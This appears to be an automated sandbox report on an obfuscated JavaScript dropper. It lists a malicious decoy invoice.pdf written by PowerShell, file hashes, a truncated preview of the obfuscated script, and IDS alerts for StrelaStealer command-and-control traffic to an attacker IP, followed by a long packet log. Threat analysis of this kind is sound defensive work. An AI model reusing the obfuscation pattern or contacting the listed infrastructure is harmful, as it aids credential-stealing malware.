Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (37780), with CRLF line terminators
Entropy (8bit):	4.9244050406266595
TrID:
File name:	1647911459241874440.js
File size:	37'818 bytes
MD5:	0093191d26bb386eb24bcb6c56335bad
SHA1:	81f922b94bc687c709e28400825ca4b143ef601b
SHA256:	7453ba23481aacc86986f5009f0bb2a0f8d0b5d5a7848f0f70ce6c9338f4e011
SHA512:	c40dc19f6c5289152f013259807ed3b3b99d59e0d309c4a1df81c6fe23841d74e001298eff13121aa7fb262d3f9631c234a31bdf47f26aab8fbef8d7ac710030
SSDEEP:	768:AO6OGmHvOUU6MVvvvvvvv+gJ5qbeX3AFhdIPkQGVfXdfvmeviLNJ82UMZW9BHE0f:AO6OGmHvOUU6MDJ5qbeX3AFhdIPkQGVl
TLSH:	F50313BFFFC91A166DC1C4BB4D81DAB7C56682A9316D1BF2C45335A03194EA0D9C843E
File Content Preview:	function xtwjrdotn(){dyiznulwf=this;..dyiznulwf[sdcku+fiyjc+bujmon+uyhbmu](uyhbmu+tontmaap+brfpiz+ojgkevqn+uyhbmu+gazfhws+zacfdvc+brfpiz+bncdpaat+nbtdyjrk+yxcceism+tqyqwnjxp+soqywr+yxcceism+thqqmtby+soqywr+tqyqwnjxp+zpuskip+gnmire+thqqmtby+jbycny+yxcceism

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-15T20:42:02.485230+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-15T20:42:02.485230+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-15T20:42:05.457101+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 20:42:01.612709999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:01.617522955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:01.617706060 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:01.620599031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:01.625340939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.485102892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.485152960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.485188961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.485222101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.485229969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.485256910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.485291004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.485294104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.485326052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.485349894 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.485358953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.485393047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.485409021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.485425949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.485476971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.544715881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.544764042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.544822931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.602125883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.602174044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.602207899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.602230072 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.602241039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.602277040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.602288008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.602525949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.602560043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.602570057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.602593899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.602633953 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.602905035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.602938890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.602982044 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.602982044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.603017092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.603049994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.603060007 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.603575945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.603620052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.603631020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.603663921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.603697062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.603704929 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.603729963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.603780031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.604432106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.604484081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.604526043 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.636857033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.646488905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.646501064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.646512032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.646548033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.646598101 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.711232901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.711276054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.711338997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.711355925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.711385012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.711421967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.720005989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.720081091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.720114946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.720133066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.720155954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.720197916 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.720202923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.720443964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.720483065 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.720520020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.720577955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.720609903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.720628977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.720644951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.720685959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.720931053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.720958948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.720997095 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.721106052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.721138954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.721169949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.721175909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.721496105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.721529007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.721539974 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.721563101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.721595049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.721604109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.721631050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.721673965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.721968889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.722076893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.722110033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.722124100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.722143888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.722174883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.722182035 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.722208977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.722242117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.722248077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.723006964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.723041058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.723052979 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.723074913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.723109007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.723114014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.723143101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.723175049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.723186016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.723208904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.723253012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.723828077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.723912001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.723943949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.723958015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.723978996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.724010944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.724015951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.738893986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.738915920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.738926888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.738940954 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.738969088 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.763906956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.763974905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.764009953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.764041901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.764039993 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.764076948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.764118910 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.803951025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.803993940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.804025888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.828769922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.828809023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.828819990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.828833103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.828831911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.828845978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.828900099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.828948021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.838020086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838037968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838053942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838063955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838073969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838084936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838095903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838103056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.838107109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838124037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838134050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838145018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838148117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.838205099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.838205099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.838371992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838422060 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.838540077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838556051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838567019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838576078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838587999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838597059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838608027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838610888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.838619947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838633060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838644028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.838653088 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.838686943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.838686943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.839287043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.839494944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.839510918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.839520931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.839530945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.839540958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.839550972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.839550972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.839561939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.839572906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.839572906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.839585066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.839595079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.839605093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.839618921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.839643955 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.839674950 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.840431929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.840447903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.840457916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.840467930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.840477943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.840488911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.840495110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.840500116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.840511084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.840522051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.840532064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.840542078 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.840543985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.840938091 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.840977907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.841165066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.841237068 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.841346979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.841362953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.841372967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.841383934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.841393948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.841403961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.841413975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.841420889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.841427088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.841434002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.841443062 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.841444969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.841463089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.841562986 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.842123985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.842139959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.842149973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.842159033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.842170000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.842180014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.842197895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.842236042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.842315912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.847528934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.856779099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.856812954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.856862068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.856863976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.856894016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.856929064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.856942892 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.895801067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.895862103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.895895958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.895906925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.895931005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.895946980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.895966053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.896014929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.896015882 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.920836926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.920900106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.920926094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.920928955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.920974016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.920998096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.921030998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.921062946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.921077013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.921118021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.921149015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.921180964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.921220064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.921267986 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.929714918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.929729939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.929739952 CET	80	49709	193.143.1.205	192.168.2.6
